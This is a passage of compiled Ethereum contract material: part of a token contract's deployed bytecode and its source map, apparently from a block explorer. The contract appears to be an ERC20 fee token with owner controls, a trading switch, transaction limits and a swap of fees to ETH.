001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107bf57600080fd5b505af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f791906117a1565b600c80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320600b80548716855290835281842060001990555484845260049092529091205492169163f305d7199134916040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b1580156108af57600080fd5b505af11580156108c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108e891906117be565b50505050565b6000546001600160a01b031633146109185760405162461bcd60e51b815260040161052e9061176c565b600f55565b6000610491338484610b67565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161052e9061176c565b600e55565b6000546001600160a01b031633146109835760405162461bcd60e51b815260040161052e9061176c565b6001600160a01b0381166109e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052e565b6001600160a01b038216610b065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052e565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052e565b60008111610c8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052e565b6001600160a01b03831660009081526006602052604090205460ff16158015610cd157506001600160a01b03821660009081526006602052604090205460ff16155b15610f3157600c54600160a01b900460ff16610d6a576000546001600160a01b03848116911614610d6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052e565b600d54811115610dbc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052e565b600c546001600160a01b03838116911614610e5757600e5481610df4846001600160a01b031660009081526004602052604090205490565b610dfe9190611802565b10610e575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052e565b30600090815260046020526040902054600f54600d5490821015908210610e7e57600d5491505b808015610e955750600c54600160a81b900460ff16155b8015610eaf5750600c546001600160a01b03868116911614155b8015610ec45750600c54600160b01b900460ff165b8015610ee957506001600160a01b03851660009081526006602052604090205460ff16155b8015610f0e57506001600160a01b03841660009081526006602052604090205460ff16155b15610f2e57610f1c826110b2565b478015610f2c57610f2c4761123b565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610f7357506001600160a01b03831660009081526006602052604090205460ff165b80610fa55750600c546001600160a01b03858116911614801590610fa55750600c546001600160a01b03848116911614155b15610fb25750600061106c565b6000610fc76003546001600160a01b03163190565b600c549091506001600160a01b038681169116148015610ff55750600b546001600160a01b03858116911614155b801561100e575060075460009061100c9083611279565b115b1561101a576007546009555b600c546001600160a01b0385811691161480156110455750600b546001600160a01b03868116911614155b801561105e575060085460009061105c90836112df565b115b1561106a576008546009555b505b6108e884848484611321565b6000818484111561109c5760405162461bcd60e51b815260040161052e9190611601565b5060006110a9848661181a565b95945050505050565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa611831565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118691906117a1565b8160018151811061119957611199611831565b6001600160a01b039283166020918202929092010152600b546111bf9130911684610a43565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611847565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611275573d6000803e3d6000fd5b5050565b6000806112868385611802565b9050838110156112d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052e565b9392505050565b60006112d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b8061132e5761132e611349565b61133984848461135f565b806108e8576108e8600a54600955565b60095461135257565b60098054600a5560009055565b60008061136e83600954611444565b9150915061139f611380868686611477565b6001600160a01b038716600090815260046020526040902054906112df565b6001600160a01b0380871660009081526004602052604080822093909355908616815220546113ce9083611279565b6001600160a01b0385166000908152600460205260409020556113f0816114ea565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143591815260200190565b60405180910390a35050505050565b6000808061145d60646114578787611517565b90611596565b9050600061146b86836112df565b96919550909350505050565b600c5460009081906001600160a01b0385811691161480156114a657506003546001600160a01b038681169116145b80156114bc5750600c546001600160a01b031615155b80156114d257506003546001600160a01b031615155b9050806114df57826110a9565b600095945050505050565b306000908152600460205260409020546115049082611279565b3060009081526004602052604090205550565b60008261152657506000610495565b600061153283856118b8565b90508261153f85836118d7565b146112d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052e565b60006112d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115f45760405162461bcd60e51b815260040161052e9190611601565b5060006110a984866118d7565b600060208083528351808285015260005b8181101561162e57858101830151858201604001528201611612565b81811115611640576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461166b57600080fd5b50565b6000806040838503121561168157600080fd5b823561168c81611656565b946020939093013593505050565b6000806000606084860312156116af57600080fd5b83356116ba81611656565b925060208401356116ca81611656565b929592945050506040919091013590565b600080604083850312156116ee57600080fd5b50508035926020909101359150565b60006020828403121561170f57600080fd5b81356112d881611656565b60006020828403121561172c57600080fd5b5035919050565b6000806040838503121561174657600080fd5b823561175181611656565b9150602083013561176181611656565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117b357600080fd5b81516112d881611656565b6000806000606084860312156117d357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611815576118156117ec565b500190565b60008282101561182c5761182c6117ec565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118975784516001600160a01b031683529383019391830191600101611872565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156118d2576118d26117ec565b500290565b6000826118f457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6f01b28647dad8d7d8a2a951df4988c7a6d33af971bfef0b8f6a145dfcf7ba164736f6c63430008090033
Deployed Bytecode Sourcemap
4215:10080:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5974:83;;;;;;;;;;-1:-1:-1;6044:5:0;;;;;;;;;;;;-1:-1:-1;;;6044:5:0;;;;5974:83;;;;;;;:::i;:::-;;;;;;;;6885:193;;;;;;;;;;-1:-1:-1;6885:193:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6885:193:0;1072:187:1;5092:41:0;;;;;;;;;;-1:-1:-1;5092:41:0;;;;-1:-1:-1;;;;;5092:41:0;;;;;;-1:-1:-1;;;;;1453:32:1;;;1435:51;;1423:2;1408:18;5092:41:0;1264:228:1;6254:95:0;;;;;;;;;;-1:-1:-1;4886:21:0;6254:95;;;1643:25:1;;;1631:2;1616:18;6254:95:0;1497:177:1;7087:446:0;;;;;;;;;;-1:-1:-1;7087:446:0;;;;;:::i;:::-;;:::i;5408:52::-;;;;;;;;;;;;;;;;6162:83;;;;;;;;;;-1:-1:-1;6162:83:0;;4459:1;2282:36:1;;2270:2;2255:18;6162:83:0;2140:184:1;5140:28:0;;;;;;;;;;-1:-1:-1;5140:28:0;;;;-1:-1:-1;;;;;5140:28:0;;;13631:160;;;;;;;;;;-1:-1:-1;13631:160:0;;;;;:::i;:::-;;:::i;:::-;;6358:117;;;;;;;;;;-1:-1:-1;6358:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6451:16:0;6424:7;6451:16;;;:7;:16;;;;;;;6358:117;3803:148;;;;;;;;;;;;;:::i;14023:108::-;;;;;;;;;;-1:-1:-1;14023:108:0;;;;;:::i;:::-;;:::i;11747:117::-;;;;;;;;;;;;;:::i;5284:48::-;;;;;;;;;;;;;;;;11138:601;;;:::i;3587:79::-;;;;;;;;;;-1:-1:-1;3625:7:0;3652:6;-1:-1:-1;;;;;3652:6:0;3587:79;;5345:50;;;;;;;;;;;;;;;;6066:87;;;;;;;;;;-1:-1:-1;6138:7:0;;;;;;;;;;;;-1:-1:-1;;;6138:7:0;;;;6066:87;;13844:139;;;;;;;;;;-1:-1:-1;13844:139:0;;;;;:::i;:::-;;:::i;6484:199::-;;;;;;;;;;-1:-1:-1;6484:199:0;;;;;:::i;:::-;;:::i;6692:184::-;;;;;;;;;;-1:-1:-1;6692:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6841:18:0;;;6809:7;6841:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6692:184;14140:115;;;;;;;;;;-1:-1:-1;14140:115:0;;;;;:::i;:::-;;:::i;3960:244::-;;;;;;;;;;-1:-1:-1;3960:244:0;;;;;:::i;:::-;;:::i;6885:193::-;6987:4;7009:39;2416:10;7032:7;7041:6;7009:8;:39::i;:::-;-1:-1:-1;7066:4:0;6885:193;;;;;:::o;7087:446::-;7219:4;7236:36;7246:6;7254:9;7265:6;7236:9;:36::i;:::-;7283:220;7306:6;2416:10;7354:138;7410:6;7354:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7354:19:0;;;;;;:11;:19;;;;;;;;2416:10;7354:33;;;;;;;;;;:37;:138::i;:::-;7283:8;:220::i;:::-;-1:-1:-1;7521:4:0;7087:446;;;;;:::o;13631:160::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;;;;;;;;;13718:12:::1;:26:::0;;;;13755:13:::1;:28:::0;13631:160::o;3803:148::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;3910:1:::1;3894:6:::0;;3873:40:::1;::::0;-1:-1:-1;;;;;3894:6:0;;::::1;::::0;3873:40:::1;::::0;3910:1;;3873:40:::1;3941:1;3924:19:::0;;-1:-1:-1;;;;;;3924:19:0::1;::::0;;3803:148::o;14023:108::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;14097:12:::1;:26:::0;14023:108::o;11747:117::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;4886:21:::1;11799:12;:22:::0;;;11832:14:::1;:24:::0;11747:117::o;11138:601::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;11198:11:::1;:18:::0;;-1:-1:-1;;;;11198:18:0::1;-1:-1:-1::0;;;11198:18:0::1;::::0;;11340:15:::1;:34:::0;;-1:-1:-1;;;;;;11340:34:0::1;11286:42;11340:34:::0;;::::1;::::0;;;11419:26:::1;::::0;;-1:-1:-1;;;11419:26:0;;;;11286:42;;11419:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;11286:42;11419:26;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11401:70:0::1;;11480:4;11487:16;-1:-1:-1::0;;;;;11487:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11401:110;::::0;-1:-1:-1;;;;;;11401:110:0::1;::::0;;;;;;-1:-1:-1;;;;;4467:15:1;;;11401:110:0::1;::::0;::::1;4449:34:1::0;4519:15;;4499:18;;;4492:43;4384:18;;11401:110:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11385:13;:126:::0;;-1:-1:-1;;;;;;11385:126:0::1;-1:-1:-1::0;;;;;11385:126:0;;::::1;;::::0;;11552:4:::1;-1:-1:-1::0;11532:26:0;;;:11:::1;:26;::::0;;;;;;;11567:15:::1;::::0;;;::::1;11532:52:::0;;;;;;;;-1:-1:-1;;11532:66:0;;11611:15;6451:16;;;:7;:16;;;;;;;11611:15;::::1;::::0;:31:::1;::::0;11650:9:::1;::::0;11611:120:::1;::::0;-1:-1:-1;;;;;;11611:120:0::1;::::0;;;;;;-1:-1:-1;;;;;4905:15:1;;;11611:120:0::1;::::0;::::1;4887:34:1::0;4937:18;;;4930:34;11700:1:0::1;4980:18:1::0;;;4973:34;;;5023:18;;;5016:34;11704:10:0::1;5066:19:1::0;;;5059:44;11715:15:0::1;5119:19:1::0;;;5112:35;4821:19;;11611:120:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11187:552;11138:601::o:0;13844:139::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;13935:19:::1;:40:::0;13844:139::o;6484:199::-;6589:4;6611:42;2416:10;6635:9;6646:6;6611:9;:42::i;14140:115::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;14217:14:::1;:30:::0;14140:115::o;3960:244::-;3715:6;;-1:-1:-1;;;;;3715:6:0;2416:10;3715:22;3707:67;;;;-1:-1:-1;;;3707:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4049:22:0;::::1;4041:73;;;::::0;-1:-1:-1;;;4041:73:0;;5671:2:1;4041:73:0::1;::::0;::::1;5653:21:1::0;5710:2;5690:18;;;5683:30;5749:34;5729:18;;;5722:62;-1:-1:-1;;;5800:18:1;;;5793:36;5846:19;;4041:73:0::1;5469:402:1::0;4041:73:0::1;4151:6;::::0;;4130:38:::1;::::0;-1:-1:-1;;;;;4130:38:0;;::::1;::::0;4151:6;::::1;::::0;4130:38:::1;::::0;::::1;4179:6;:17:::0;;-1:-1:-1;;;;;;4179:17:0::1;-1:-1:-1::0;;;;;4179:17:0;;;::::1;::::0;;;::::1;::::0;;3960:244::o;7773:369::-;-1:-1:-1;;;;;7900:19:0;;7892:68;;;;-1:-1:-1;;;7892:68:0;;6078:2:1;7892:68:0;;;6060:21:1;6117:2;6097:18;;;6090:30;6156:34;6136:18;;;6129:62;-1:-1:-1;;;6207:18:1;;;6200:34;6251:19;;7892:68:0;5876:400:1;7892:68:0;-1:-1:-1;;;;;7979:21:0;;7971:68;;;;-1:-1:-1;;;7971:68:0;;6483:2:1;7971:68:0;;;6465:21:1;6522:2;6502:18;;;6495:30;6561:34;6541:18;;;6534:62;-1:-1:-1;;;6612:18:1;;;6605:32;6654:19;;7971:68:0;6281:398:1;7971:68:0;-1:-1:-1;;;;;8050:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8102:32;;1643:25:1;;;8102:32:0;;1616:18:1;8102:32:0;;;;;;;7773:369;;;:::o;8151:2275::-;-1:-1:-1;;;;;8273:18:0;;8265:68;;;;-1:-1:-1;;;8265:68:0;;6886:2:1;8265:68:0;;;6868:21:1;6925:2;6905:18;;;6898:30;6964:34;6944:18;;;6937:62;-1:-1:-1;;;7015:18:1;;;7008:35;7060:19;;8265:68:0;6684:401:1;8265:68:0;-1:-1:-1;;;;;8352:16:0;;8344:64;;;;-1:-1:-1;;;8344:64:0;;7292:2:1;8344:64:0;;;7274:21:1;7331:2;7311:18;;;7304:30;7370:34;7350:18;;;7343:62;-1:-1:-1;;;7421:18:1;;;7414:33;7464:19;;8344:64:0;7090:399:1;8344:64:0;8436:1;8427:6;:10;8419:64;;;;-1:-1:-1;;;8419:64:0;;7696:2:1;8419:64:0;;;7678:21:1;7735:2;7715:18;;;7708:30;7774:34;7754:18;;;7747:62;-1:-1:-1;;;7825:18:1;;;7818:39;7874:19;;8419:64:0;7494:405:1;8419:64:0;-1:-1:-1;;;;;8502:24:0;;;;;;:18;:24;;;;;;;;8501:25;:52;;;;-1:-1:-1;;;;;;8531:22:0;;;;;;:18;:22;;;;;;;;8530:23;8501:52;8497:1184;;;8611:11;;-1:-1:-1;;;8611:11:0;;;;8606:144;;3625:7;3652:6;-1:-1:-1;;;;;8651:15:0;;;3652:6;;8651:15;8643:91;;;;-1:-1:-1;;;8643:91:0;;8106:2:1;8643:91:0;;;8088:21:1;8145:2;8125:18;;;8118:30;8184:34;8164:18;;;8157:62;8255:33;8235:18;;;8228:61;8306:19;;8643:91:0;7904:427:1;8643:91:0;8785:12;;8775:6;:22;;8767:63;;;;-1:-1:-1;;;8767:63:0;;8538:2:1;8767:63:0;;;8520:21:1;8577:2;8557:18;;;8550:30;8616;8596:18;;;8589:58;8664:18;;8767:63:0;8336:352:1;8767:63:0;8857:13;;-1:-1:-1;;;;;8851:19:0;;;8857:13;;8851:19;8848:146;;8924:14;;8915:6;8899:13;8909:2;-1:-1:-1;;;;;6451:16:0;6424:7;6451:16;;;:7;:16;;;;;;;6358:117;8899:13;:22;;;;:::i;:::-;:39;8891:87;;;;-1:-1:-1;;;8891:87:0;;9160:2:1;8891:87:0;;;9142:21:1;9199:2;9179:18;;;9172:30;9238:34;9218:18;;;9211:62;-1:-1:-1;;;9289:18:1;;;9282:33;9332:19;;8891:87:0;8958:399:1;8891:87:0;9060:4;9011:28;6451:16;;;:7;:16;;;;;;9120:19;;9184:12;;9096:43;;;;;9160:36;;9157:110;;9239:12;;9216:35;;9157:110;9288:7;:18;;;;-1:-1:-1;9300:6:0;;-1:-1:-1;;;9300:6:0;;;;9299:7;9288:18;:43;;;;-1:-1:-1;9318:13:0;;-1:-1:-1;;;;;9310:21:0;;;9318:13;;9310:21;;9288:43;:58;;;;-1:-1:-1;9335:11:0;;-1:-1:-1;;;9335:11:0;;;;9288:58;:87;;;;-1:-1:-1;;;;;;9351:24:0;;;;;;:18;:24;;;;;;;;9350:25;9288:87;:114;;;;-1:-1:-1;;;;;;9380:22:0;;;;;;:18;:22;;;;;;;;9379:23;9288:114;9284:386;;;9423:38;9440:20;9423:16;:38::i;:::-;9509:21;9553:22;;9549:106;;9600:35;9613:21;9600:12;:35::i;:::-;9404:266;9284:386;8555:1126;;8497:1184;-1:-1:-1;;;;;9759:24:0;;9694:12;9759:24;;;:18;:24;;;;;;9709:4;;9759:24;;;:50;;-1:-1:-1;;;;;;9787:22:0;;;;;;:18;:22;;;;;;;;9759:50;9758:102;;;-1:-1:-1;9823:13:0;;-1:-1:-1;;;;;9815:21:0;;;9823:13;;9815:21;;;;:44;;-1:-1:-1;9846:13:0;;-1:-1:-1;;;;;9840:19:0;;;9846:13;;9840:19;;9815:44;9754:610;;;-1:-1:-1;9887:5:0;9754:610;;;9925:14;9942:13;10505:16;;-1:-1:-1;;;;;10505:16:0;:24;;10434:103;9942:13;10013;;9925:30;;-1:-1:-1;;;;;;10005:21:0;;;10013:13;;10005:21;:55;;;;-1:-1:-1;10044:15:0;;-1:-1:-1;;;;;10030:30:0;;;10044:15;;10030:30;;10005:55;:87;;;;-1:-1:-1;10064:12:0;;10091:1;;10064:24;;10081:6;10064:16;:24::i;:::-;:28;10005:87;10002:149;;;10123:12;;10113:7;:22;10002:149;10211:13;;-1:-1:-1;;;;;10205:19:0;;;10211:13;;10205:19;:55;;;;-1:-1:-1;10244:15:0;;-1:-1:-1;;;;;10228:32:0;;;10244:15;;10228:32;;10205:55;:88;;;;-1:-1:-1;10264:13:0;;10292:1;;10264:25;;10282:6;10264:17;:25::i;:::-;:29;10205:88;10201:152;;;10324:13;;10314:7;:23;10201:152;9910:454;9754:610;10377:41;10392:4;10398:2;10402:6;10410:7;10377:14;:41::i;1444:224::-;1564:7;1600:12;1592:6;;;;1584:29;;;;-1:-1:-1;;;1584:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1624:9:0;1636:5;1640:1;1636;:5;:::i;:::-;1624:17;1444:224;-1:-1:-1;;;;;1444:224:0:o;10546:483::-;5564:6;:13;;-1:-1:-1;;;;5564:13:0;-1:-1:-1;;;5564:13:0;;;10648:16:::1;::::0;;10662:1:::1;10648:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10648:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10648:16:0::1;10624:40;;10693:4;10675;10680:1;10675:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10675:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10719:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10719:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10675:7;;10719:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10709:4;10714:1;10709:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10709:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10784:15:::1;::::0;10752:62:::1;::::0;10769:4:::1;::::0;10784:15:::1;10802:11:::0;10752:8:::1;:62::i;:::-;10825:15;::::0;:196:::1;::::0;-1:-1:-1;;;10825:196:0;;-1:-1:-1;;;;;10825:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10906:11;;10825:15:::1;::::0;10948:4;;10975::::1;::::0;10995:15:::1;::::0;10825:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5600:6:0;:14;;-1:-1:-1;;;;5600:14:0;;;-1:-1:-1;;;;10546:483:0:o;11038:92::-;11095:10;;:27;;-1:-1:-1;;;;;11095:10:0;;;;:27;;;;;11115:6;;11095:10;:27;:10;:27;11115:6;11095:10;:27;;;;;;;;;;;;;;;;;;;;;11038:92;:::o;1111:179::-;1169:7;;1201:5;1205:1;1201;:5;:::i;:::-;1189:17;;1230:1;1225;:6;;1217:46;;;;-1:-1:-1;;;1217:46:0;;10943:2:1;1217:46:0;;;10925:21:1;10982:2;10962:18;;;10955:30;11021:29;11001:18;;;10994:57;11068:18;;1217:46:0;10741:351:1;1217:46:0;1281:1;1111:179;-1:-1:-1;;;1111:179:0:o;1299:136::-;1357:7;1384:43;1388:1;1391;1384:43;;;;;;;;;;;;;;;;;:3;:43::i;11873:282::-;12029:7;12024:28;;12038:14;:12;:14::i;:::-;12063:44;12081:6;12089:9;12100:6;12063:17;:44::i;:::-;12123:7;12118:29;;12132:15;7741;;7731:7;:25;7687:77;7541:137;7588:7;;7584:25;;7541:137::o;7584:25::-;7639:7;;;7621:15;:25;-1:-1:-1;7659:11:0;;7541:137::o;12164:495::-;12311:23;12349:13;12376:29;12388:7;12397;;12376:11;:29::i;:::-;12296:109;;;;12434:59;12454:38;12465:6;12473:9;12484:7;12454:10;:38::i;:::-;-1:-1:-1;;;;;12434:15:0;;;;;;:7;:15;;;;;;;:19;:59::i;:::-;-1:-1:-1;;;;;12416:15:0;;;;;;;:7;:15;;;;;;:77;;;;12525:18;;;;;;;:39;;12548:15;12525:22;:39::i;:::-;-1:-1:-1;;;;;12504:18:0;;;;;;:7;:18;;;;;:60;12575:16;12585:5;12575:9;:16::i;:::-;12624:9;-1:-1:-1;;;;;12607:44:0;12616:6;-1:-1:-1;;;;;12607:44:0;;12635:15;12607:44;;;;1643:25:1;;1631:2;1616:18;;1497:177;12607:44:0;;;;;;;;12285:374;;12164:495;;;:::o;13173:348::-;13315:7;;;13388:28;13412:3;13388:19;:7;13400:6;13388:11;:19::i;:::-;:23;;:28::i;:::-;13372:44;-1:-1:-1;13427:23:0;13453:18;:7;13372:44;13453:11;:18::i;:::-;13427:44;13507:5;;-1:-1:-1;13173:348:0;;-1:-1:-1;;;;13173:348:0:o;12795:369::-;12945:13;;12888:7;;;;-1:-1:-1;;;;;12932:26:0;;;12945:13;;12932:26;:74;;;;-1:-1:-1;12990:16:0;;-1:-1:-1;;;;;12980:26:0;;;12990:16;;12980:26;12932:74;:123;;;;-1:-1:-1;13028:13:0;;-1:-1:-1;;;;;13028:13:0;:27;;12932:123;:175;;;;-1:-1:-1;13077:16:0;;-1:-1:-1;;;;;13077:16:0;:30;;12932:175;12907:200;;13125:17;:31;;13149:7;13125:31;;;13145:1;13118:38;12795:369;-1:-1:-1;;;;;12795:369:0:o;12668:119::-;12762:4;12746:22;;;;:7;:22;;;;;;:33;;12773:5;12746:26;:33::i;:::-;12737:4;12721:22;;;;:7;:22;;;;;:58;-1:-1:-1;12668:119:0:o;1677:246::-;1735:7;1759:6;1755:47;;-1:-1:-1;1789:1:0;1782:8;;1755:47;1812:9;1824:5;1828:1;1824;:5;:::i;:::-;1812:17;-1:-1:-1;1857:1:0;1848:5;1852:1;1812:17;1848:5;:::i;:::-;:10;1840:56;;;;-1:-1:-1;;;1840:56:0;;11694:2:1;1840:56:0;;;11676:21:1;11733:2;11713:18;;;11706:30;11772:34;11752:18;;;11745:62;-1:-1:-1;;;11823:18:1;;;11816:31;11864:19;;1840:56:0;11492:397:1;1932:132:0;1990:7;2017:39;2021:1;2024;2017:39;;;;;;;;;;;;;;;;;2193:7;2228:12;2221:5;2213:28;;;;-1:-1:-1;;;2213:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2252:9:0;2264:5;2268:1;2264;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1679:456::-;1756:6;1764;1772;1825:2;1813:9;1804:7;1800:23;1796:32;1793:52;;;1841:1;1838;1831:12;1793:52;1880:9;1867:23;1899:31;1924:5;1899:31;:::i;:::-;1949:5;-1:-1:-1;2006:2:1;1991:18;;1978:32;2019:33;1978:32;2019:33;:::i;:::-;1679:456;;2071:7;;-1:-1:-1;;;2125:2:1;2110:18;;;;2097:32;;1679:456::o;2537:248::-;2605:6;2613;2666:2;2654:9;2645:7;2641:23;2637:32;2634:52;;;2682:1;2679;2672:12;2634:52;-1:-1:-1;;2705:23:1;;;2775:2;2760:18;;;2747:32;;-1:-1:-1;2537:248:1:o;2790:247::-;2849:6;2902:2;2890:9;2881:7;2877:23;2873:32;2870:52;;;2918:1;2915;2908:12;2870:52;2957:9;2944:23;2976:31;3001:5;2976:31;:::i;3042:180::-;3101:6;3154:2;3142:9;3133:7;3129:23;3125:32;3122:52;;;3170:1;3167;3160:12;3122:52;-1:-1:-1;3193:23:1;;3042:180;-1:-1:-1;3042:180:1:o;3227:388::-;3295:6;3303;3356:2;3344:9;3335:7;3331:23;3327:32;3324:52;;;3372:1;3369;3362:12;3324:52;3411:9;3398:23;3430:31;3455:5;3430:31;:::i;:::-;3480:5;-1:-1:-1;3537:2:1;3522:18;;3509:32;3550:33;3509:32;3550:33;:::i;:::-;3602:7;3592:17;;;3227:388;;;;;:::o;